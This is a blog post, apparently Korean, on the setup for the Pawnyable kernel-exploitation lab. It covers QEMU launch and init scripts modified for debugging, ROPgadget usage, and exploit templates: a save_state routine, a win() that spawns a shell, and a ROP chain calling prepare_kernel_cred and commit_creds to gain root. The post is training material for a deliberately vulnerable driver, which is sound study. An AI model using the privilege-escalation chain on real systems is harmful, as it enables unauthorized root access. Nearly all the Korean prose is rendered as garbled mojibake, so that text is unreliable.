[ETC][Pawnyable] Tools and Setups
pawnyable.cafe์์ ์ปค๋ ํดํน์ ๊ณต๋ถํ๋ค ๋ณด๋ฉด
- ์์ฃผ ์ฐ๋ ์ค์ ํ์ผ / ์คํฌ๋ฆฝํธ๋ค
- ์์ฃผ ์ฐ๋ ์ฝ๋ ํ ํ๋ฆฟ๋ฏ
- ์์ฃผ ์ฐ๋ ํด๋ค ๊ทธ๋ฐ๋ฐ ์ด์ ๋ํ ์ค๋ช ์ด ์ข ๋ถ์กฑํ ๊ฒ ๊ฐ์์ ๋ณด์ถฉ ์ค๋ช ์ ๋จ๊ธฐ๊ณ , ๋ ์ด๋ค์ ๋ณด๋ค ์ฝ๊ฒ ์ ๊ทผํ๊ธฐ ์ํด ๋ด๊ฐ ์ฐ๋ alias์ ํ๋ค์ ์ ๋ฆฌํด ๋ณด๋ ค๊ณ ํ๋ค.
์ด์ ์์ ๋๋ ํ ๋ฆฌ ๊ตฌ์กฐ๋ ๋ค์๊ณผ ๊ฐ๋ค.
- LKXX
- qemu/
- root/
- exploit.c (์ง์ ๋ง๋ฆ)
- bzImage
- rootfs.cpio
- run.sh
- root/
- src/
- vuln.c
- vuln.ko
- qemu/
(์ฒ์ ๋ฐ์ผ๋ฉด rootfs.cpio
๋ง ์์ ๊ฒ์ด๋ค. mkdir root; cd root; cpio -idv < ../rootfs.cpio
๋ฅผ ํตํด cpio๋ฅผ ํ์ด์ฃผ์)
1. ์คํฌ๋ฆฝํธ / ์ค์ ํ์ผ
1-1. run.sh
qemu
๋ฅผ ์์ํ๊ธฐ ์ํด ์ฐ์ด๋ ์คํฌ๋ฆฝํธ์ด๋ค.
1-1-1. qemu ์ต์
์ฒ์ ๋ฐ์ ์ด์ด๋ณด๋ฉด ์๋์ ๊ฐ์ ๊ฒ์ด๋ค.
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1" \
-no-reboot \
-cpu kvm64,+smep\
-smp 1 \
-monitor /dev/null \
-initrd rootfs.cpio \
-net nic,model=virtio \
-net user
์ฌ๊ธฐ์ ์ค์ํ ์ต์
์ -append
์ต์
๊ณผ ์ถ๊ฐํด์ผ ํ๋ -gdb
์ต์
์ด๋ค.
-append
์ต์ ์ ์ปค๋์ ๋ค์ํ ์ธ์๋ฅผ ์ฃผ์ด ์คํ์ํฌ ์ ์๋ ์ต์ ์ด๋ค. ์๋ฅผ ๋ค์ดnopti
์ต์ ์ ์ฃผ๋ฉด KPTI๊ฐ ๋นํ์ฑํ๋๋ฉฐ,nokaslr
์ต์ ์ ์ฃผ๋ฉด KASLR์ด ๋นํ์ฑํ๋๋ค.-gdb
์ต์ ์ ์ปค๋์ GDB๋ฅผ remote๋ก ๋ถ์ฌ ๋๋ฒ๊น ์ด ๊ฐ๋ฅํ๋๋ก ํ๋ค.-gdb tcp::6626
์ฒ๋ผ ๊ตฌ์ฑํด ์ปค๋์ ์คํํ๋ฉด gdb์์target remote 6626
๋ช ๋ น์ ์ด์ฉํด ์ปค๋ ๋๋ฒ๊น ์ ํ ์ ์๊ฒ ๋๋ค.
1-1-2. ์๋ ์ปดํ์ผ / ์์นด์ด๋น
๋๋ ๋ณดํต root ๋๋ ํ ๋ฆฌ ์์ exploit.c
๋ฅผ ๋ง๋ค๊ณ ์ปดํ์ผํ ํ, ์ ์ฒด๋ฅผ cpio๋ก ์์นด์ด๋นํด ํ์ผ์์คํ
์ ๊ตฌ์ฑํ๋ ํธ์ด๋ค. ๋ฐ๋ผ์ ๋งค ์คํ์๋ง๋ค exploit.c
๋ฅผ ๋ค์ ์ปดํ์ผํ๊ณ ์์นด์ด๋นํ๋ ๊ณผ์ ์ด ํ์ํด
run.sh
์ ๋ถ๋ถ์ ๋ค์ ์คํฌ๋ฆฝํธ๋ฅผ ์ถ๊ฐํ๋ค.
#!/bin/sh
cd root
# ๋ฏธ๋ฆฌ ์ปดํ์ผํด๋๋ ํ์ผ๋ค์ ์ญ์ ํจ
rm exploit
rm test
# ๋ค์ ์ปดํ์ผํจ
musl-gcc -o exploit exploit.c -static
musl-gcc -o test test.c -static
# cpio๋ก ์์นด์ด๋นํด์ ํ์ผ์์คํ
์ ๊ตฌ์ฑํจ
find . -print0 | cpio -o --format=newc --null --owner=root > ../rootfs_updated.cpio
cd ..
qemu-system-x86_64 \
...
-initrd rootfs_updated.cpio \ # ์ฌ๊ธฐ๊ฐ ๋ฐ๋!
...
์ ์ฒด ์คํฌ๋ฆฝํธ๋ ๋ค์๊ณผ ๊ฐ๋ค.
ํผ์น๊ธฐ/์ ๊ธฐ
#!/bin/sh
cd root
rm exploit
rm test
musl-gcc -o exploit exploit.c -static
musl-gcc -o test test.c -static
find . -print0 | cpio -o --format=newc --null --owner=root > ../rootfs_updated.cpio
cd ..
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1" \
-no-reboot \
-cpu kvm64,+smep \
-smp 1 \
-monitor /dev/null \
-initrd rootfs_updated.cpio \
-net nic,model=virtio \
-net user \
-gdb tcp::6626
์์ ํ ์ผ๋ ๋ง๊ณ ์คํํ ์ผ๋ ๋ง์์ ๋๋ ๋ค์๊ณผ ๊ฐ์ alias๋ฅผ ์ง์ ํด๋๊ณ ์ฌ์ฉํ๋ ํธ์ด๋ค.
vimsh='vim run.sh'
runsh=./run.sh
1-2. S99pawnyable
init ์คํฌ๋ฆฝํธ ์ค ํ๋๋ก, ๋ถํ ํ ์์ ๋ง๋ค์ด์ฃผ๊ณ ๊ฐ์ข ๋ณด์ ์ต์ ๋ค์ ์ค์ ํ๋ ํ์ผ์ด๋ค. ์๋ง ์ด๋ ๊ฒ ๋์ด์์ ๊ฒ์ด๋ค.
#!/bin/sh
##
## Setup
##
mdev -s
mount -t proc none /proc
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
stty -opost
echo 2 > /proc/sys/kernel/kptr_restrict # (1)
echo 1 > /proc/sys/kernel/dmesg_restrict # (2)
##
## Install driver
##
insmod /root/vuln.ko
mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}'` 0
##
## User shell
##
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "[ Holstein v1 (LK01) - Pawnyable ]"
setsid cttyhack setuidgid 1337 sh # (3)
##
## Cleanup
##
umount /proc
poweroff -d 0 -f
์ฌ๊ธฐ์ ์ค์ํ ๋ถ๋ถ์ ๋ค์๊ณผ ๊ฐ๋ค.
- (1) KADR (Kernel Address Display Restriction) ๊ด๋ จ ๋ด์ฉ์ด๋ค.
์ค์ ๋ก ์ด๋ฅผ ์ฃผ์์ฒ๋ฆฌํ์ง ์๊ณ ์ปค๋์ ๋ถํ ํ ํ/proc/kallsyms
๋ฅผ ์ฝ์ด ๋ณด๋ฉด ์ฃผ์๊ฐ ํ๋๋ ๋์ค์ง ์๋ ๊ฒ์ ๋ณผ ์ ์๋ค. ์ฃผ์์ฒ๋ฆฌํด๋์. - (2) dmesg๋ฅผ ๋ณผ ์ ์๋๋ก ํ๋ ์ต์ ์ด๋ค. ์ด๊ฒ๋ ๋๋ฒ๊น ํ ๋ ๋ฐฉํด๊ฐ ๋๋ฏ๋ก ์ฃผ์์ฒ๋ฆฌํด๋์.
- (3) setuidgid๋ฅผ ํตํด ์ฌ์ฉ์์ uid์ gid๋ฅผ ์ง์ ํ๋ค. ์ด๋ 1337 ๋์ 0์ ์จ๋๋ฉด ๋ถํ ํ ๋ฃจํธ ์ฌ์ฉ์๋ก ์์ ์ฌ์ฉํ ์ ์๋ค. ๋๋ฒ๊น ํ ๋๋ 0์ผ๋ก ์ค์ ํ์.
๋๋ฒ๊น
์ ํ๋ค ๋ณด๋ฉด (3)๋ฒ์ ์ ๋ง ์์ฃผ ์ค์ ํด์ผ ํ๊ธฐ ๋๋ฌธ์ ์์ ํ ์ผ์ด ๋ง์ ํ์ผ์ด๋ค. ๊ทธ๋์ ๋๋ ์ด ํ์ผ๋ run.sh
์ ๋ง์ฐฌ๊ฐ์ง๋ก alias๋ฅผ ์ง์ ํด๋๊ณ ์ฐ๋ ํธ์ด๋ค.
vims99='vim root/etc/init.d/S99pawnyable'
2. ์ฝ๋ ํ ํ๋ฆฟ
์ด์ ๋ํ ์ค๋ช ์ Kernel Exploit Tech์ ๋์ ์๋ค.
2-1. save_state()
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory");
}
2-2. win()
static void win() {
char *argv[] = { "/bin/sh", NULL };
char *envp[] = { NULL };
puts("[+] win!");
execve("/bin/sh", argv, envp);
}
2-3. ROP
p = (unsigned long *)&buf[0x100];
*p++ = 0xdeadbeef;
*p++ = pop_rdi_ret;
*p++ = 0;
*p++ = prepare_kernel_cred;
*p++ = pop_rcx_ret;
*p++ = 0;
*p++ = mov_rdi_rax_rep_movsq_ret;
*p++ = commit_creds;
*p++ = swapgs_restore_regs_and_return_to_usermode;
*p++ = 0xdeadbeef;
*p++ = 0xcafebebe;
*p++ = (unsigned long)&win;
*p++ = user_cs;
*p++ = user_rflags;
*p++ = user_rsp;
*p++ = user_ss;
2-4. Consts
#define koffset
#define prepare_kernel_cred (kbase + )
#define commit_creds (kbase + )
#define swapgs_restore_regs_and_return_to_usermode (kbase + )
#define pop_rdi_ret (kbase + )
#define pop_rcx_ret (kbase + )
#define mov_rdi_rax_rep_movsq_ret (kbase + )
3. ์์ฃผ ์ฐ๋ ํด
3-1. extract-vmlinux
bzImage
์์ vmlinux
๋ฅผ ๋ฝ์๋ด๊ธฐ ์ํด ์ด๋ค. ์ฌ์ฉํ ์ ์๋ ROP gadget์ ์ฐพ๋ ๊ณผ์ ์์ vmlinux
ํ์ผ์ด ํ์ํ๊ธฐ ๋๋ฌธ์ ๊ฑฐ์ ํ์์ด๋ค.
wget -O https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux
./extract-vmlinux bzImage > vmlinux
3-2. ROPgadget
ROP ๊ฐ์ ฏ์ ์ฐพ๋ ๋ฐ ์์ด์ ์ต๊ณ ์ ํด์ด๋ผ๊ณ ์๊ฐํ๋ค. ๊ทธ๋ฌ๋ ์ปค๋ ์ด๋ฏธ์ง๋ ๋๋ฌด ์ปค์ ํ ๋ฒ ์ฐพ๋ ๋ฐ ์๊ฐ์ด ๋ง์ด ๊ฑธ๋ฆฌ๋ฏ๋ก ๊ฒฐ๊ณผ๋ฅผ ํ์ผ๋ก ์ ์ฅํด ๋๋ค
ํ์ํ ๋ cat
์ ํตํด ์ฐพ๋ ํธ์ด ์ข๋ค.
ROPgadget --binary vmlinux > gadgets.txt
cat gadgets.txt | grep ~~~
3-3. offsetcalc.py
์คํ์ ์ ์กฐ๊ธ ๋ ํธํ๊ฒ ๊ณ์ฐํ๊ธฐ ์ํด ๋ง๋ค์๋ค. KASLR์ด ๊บผ์ง ์ํฉ์์ ์ฌ์ฉํด์ผ ํ๋ค.
#!/usr/bin/python3
import sys
textbase = 0xffffffff81000000
if sys.argv[1] == "i":
print(hex(int(sys.argv[2], 16) + textbase))
exit(0)
target = int(sys.argv[1], 16)
print(hex(target - textbase))
# ์คํ์
๊ณ์ฐ
~$ ./offsetcalc.py 0xffffffff811f32f2
0x1f32f2
# ์คํ์
์ผ๋ก๋ถํฐ ์ฃผ์ ๊ณ์ฐ
~$ ./offsetcalc.py i 0x1f32f2
0xffffffff811f32f2
Leave a comment